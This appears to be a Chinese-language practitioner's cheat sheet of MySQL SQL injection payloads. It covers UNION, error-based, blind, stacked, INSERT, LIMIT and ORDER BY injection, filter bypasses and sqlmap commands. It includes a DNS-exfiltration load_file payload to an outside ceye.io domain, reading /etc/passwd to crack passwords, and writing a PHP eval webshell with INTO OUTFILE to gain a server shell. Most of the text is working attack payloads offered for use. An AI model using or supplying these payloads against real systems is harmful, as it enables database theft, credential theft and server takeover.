關於MYSQL注入的總結,網上的資料很多,這里和大家簡單分享下自己實戰中常用的思路和命令
0x00 UNION聯合查詢型注入常用語句
order by n //定字段,n為正整數
union select 1,2,3 //看回顯,無回顯的時候嘗試讓union前的語句報錯,如and 1=2 union select 1,2,3
回顯位爆庫、表、列(字段)、值,以第二位為回顯位舉例,常用命令如下所示
union select 1,group_concat(schema_name),3 from information_schema.schemata //爆庫
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'//爆字段
union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用來分隔字段的,方便我們查看
0x01 報錯型注入常用語句
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))
0x02 布爾型盲注和時間延遲型盲注常用語句
布爾型盲注
and length(database())>10 //判斷當前數據庫長度
and ord(mid(database(),1,1))>100 //判斷數據庫第一個字符的值
and ord(mid(database(),2,1))>100 //判斷數據庫第二個字符的值
以此類推,判斷出數據庫所有字符的值。
and if(length(database())>'5',sleep(5),0) //判斷庫名長度
and if(ord(mid(database(),1,1))>100,sleep(5),0) //判斷庫名第一個字符
或者用benchmark,如:
and if((length(database()>10),benchmark(10000000,md5(1)),0)等
除此之外,還可以借助dnslog平台,下面簡單介紹下某dnslog平台
首先注冊一個賬號,之后平台會給你個域名
有許多可用的payloads
用起來非常簡單,只需將相應的域名替換成你自己的域名即可,打到的結果可以在Records中查看。
mysql常用語句
if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,1)
0x03 堆查詢注入常用語句
實戰總結:多數存在堆查詢注入的一般借助時間延遲來進行注入,如注入點為http://www.xxx.com/?id=1
常用測試參數為:
http://www.xxx.com/?id=1;waitfor delay '0:0:5'
http://www.xxx.com/?id=1;waitfor delay '0:0:0'
根據頁面響應時間來判定是否存在注入點,時間可以通過burpsuite來觀察。
0x04 Insert、Delete、Update型注入
像Insert的地方有可能存在二次注入
Insert的報錯注入語句:
insert into admin values('admin','admin' or extractvalue(1,concat(0x7e,database())))
0x05 limit后的注入思路
1、limit前未使用order by子句,可以直接用union select進行注入
2、limit前使用order by子句且mysql版本在5.0.0到5.6.6之間的,嘗試使用procedure存儲過程和analyse函數
>報錯 procedure analyse(extractvalue(rand(),concat(0x7e,(select database())),1)
>盲注 不能用sleep,需要用BENCHMARK
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
0x06 Orcer by后注入思路
1、已知列名字段
(if(1=1 and 1=1,字段1,字段2))
(case when 1=1 字段1 else 字段2 end)
2、未知列名字段
if(1=1,1,(select 1 from information_schema.tables))#利用多行報錯
if(1=1,1,sleep(3))#利用時間延遲型報錯,注意此處睡眠時間取決於返回行數,慎用,可用會造成ddos攻擊
(select 1 regexp if(1=1,1,0x00))
rand(length(database())=7)
0x06 利用注入讀寫文件
1、讀取系統敏感文件,常用語句:
select load_file('/etc/passwd'),然后借助john the ripper破解獲取系統賬號密碼
2、手工或使用sqlmap向目標系統寫入一句話木馬從而進一提權拿shell(需要比較高的權限和網站物理路徑),常用語句:
select '<?php @eval($_POST['xc_test'])?>' into outfile '/var/shell.php'
select 0x3c3f70687020706870696e666f28293b3f3e into dumpfile '/var/shell.php'
通關菜刀連接一句話木馬,之后進一步提權獲取系統shell
0x07 一些繞過姿勢
繞過空格過濾:+,/**/,雙重空格,回車換行符(%0a,%a0),寬字節(%df),圓括號,%09,%0a,%0b,%0c,%0d等
繞過union,select等關鍵字過濾:大小寫,雙寫(uniounionn,unionunion),內聯注釋(/*!union*/),編碼
繞過and、or過濾:&&,||,%26%26,大小寫,雙寫關鍵字(anandd,andand),編碼
繞過小括號被過濾,使用正則匹配,如regexp binary '^.*$'或者使用笛卡兒積,如:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2
繞過逗號過濾,'xor(select case when 2>1 then sleep(4) else 0 end limit 1 offset 0)or'
union select 1,2 替換成 union select * from (select 1)a join (select 2)b
mssql用unicode編碼、mysql用十六進制編碼等
select from組合被過濾,可嘗試(select+1+regexp+if(1=1,1,0x00))
參數污染等
0x08 注入小工具
測試注入的工具有很多,比如啊D、HDSI、pangolin(穿山甲),Havi(胡蘿卜),sqlmap等
個人比較喜歡用的是sqlmap,下面貼一些實戰中常用的命令:
1、get型注入
-u url -safe-freq=3 --batch
2、post型注入
>-u url --froms -safe-freq=3
>-u url --data 'id=1&uname=admin' -safe-freq=3 --batch
>抓取post數據包保存為1.txt,命令:-r 1.txt -safe-freq=3 --batch ###比較常用
3、cookie型注入
抓取post數據包,在cookie后加上*,保存為1.txt,命令: -r 1.txt --cookie 'uname=admin' -safe-freq=3 --batch
4、referer型注入
抓取post數據包,在referer后加上*,保存為1.txt,命令:-r 1.txt --referer '' -safe-freq=3 --batch
5、user-agent型注入
抓取post數據包,在user-agent后加上*,保存為1.txt,命令:-r 1.txt --user-agent '' -safe-freq=3 --batch
爆不出庫的情況下,可以嘗試使用--common-tables,--common-columns
還有就是一些簡單的繞過,借助一些tamper腳本,視具體情況而定,必要時需要自行編寫腳本